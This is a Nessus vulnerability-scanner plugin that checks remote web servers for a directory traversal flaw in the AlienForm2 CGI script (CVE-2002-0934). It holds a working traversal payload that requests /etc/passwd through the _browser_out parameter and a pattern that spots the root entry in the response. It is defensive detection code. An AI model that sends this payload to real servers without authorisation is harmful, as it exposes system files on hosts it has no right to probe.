| code | #
# This script was written by Andrew Hintz ( http://guh.nu )
# and is based on code writen by Renaud Deraison
#
# Script audit and contributions from Carmichael Security
# Erik Anderson <[email protected]>
# Added BugtraqID and CAN
#
# See the Nessus Scripts License for details
#
include("compat.inc");
if(description)
{
script_id(11027);
script_bugtraq_id(4983);
script_version("1.29");
script_cve_id("CVE-2002-0934");
script_name(english:"AlienForm2 alienform.cgi Traversal Arbitrary File Manipulation");
script_summary(english:"Checks if the AlienForm CGI script is vulnerable");
script_set_attribute(attribute:"synopsis", value:
"The remote host contains a Perl application that is affected by a
directory traversal vulnerability." );
script_set_attribute(attribute:"description", value:
"The AlienForm CGI script allows an attacker to view any file on the
target computer, append arbitrary data to an existing file, and write
arbitrary data to a new file.
The AlienForm CGI script is installed as either af.cgi or
alienform.cgi." );
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2002/Jun/73" );
script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2002/06/11");
script_set_attribute(attribute:"vuln_publication_date", value: "2002/06/10");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2002-2020 Andrew Hintz (http://guh.nu)");
family["english"] = "CGI abuses";
script_family(english:family["english"]);
script_dependencie("http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80, embedded:TRUE);
if(!get_port_state(port))exit(0);
foreach dir (cgi_dirs())
{
afcgi[0] = "af.cgi";
afcgi[1] = "alienform.cgi";
for(d=0;afcgi[d];d=d+1)
{
req = string(dir, "/", afcgi[d], "?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd");
req = http_get(item:req, port:port);
result = http_keepalive_send_recv(port:port, data:req);
if(result == NULL)exit(0);
if(egrep(pattern:"root:.*:0:[01]:.*", string:result)){
security_warning(port);
exit(0);
}
}
}
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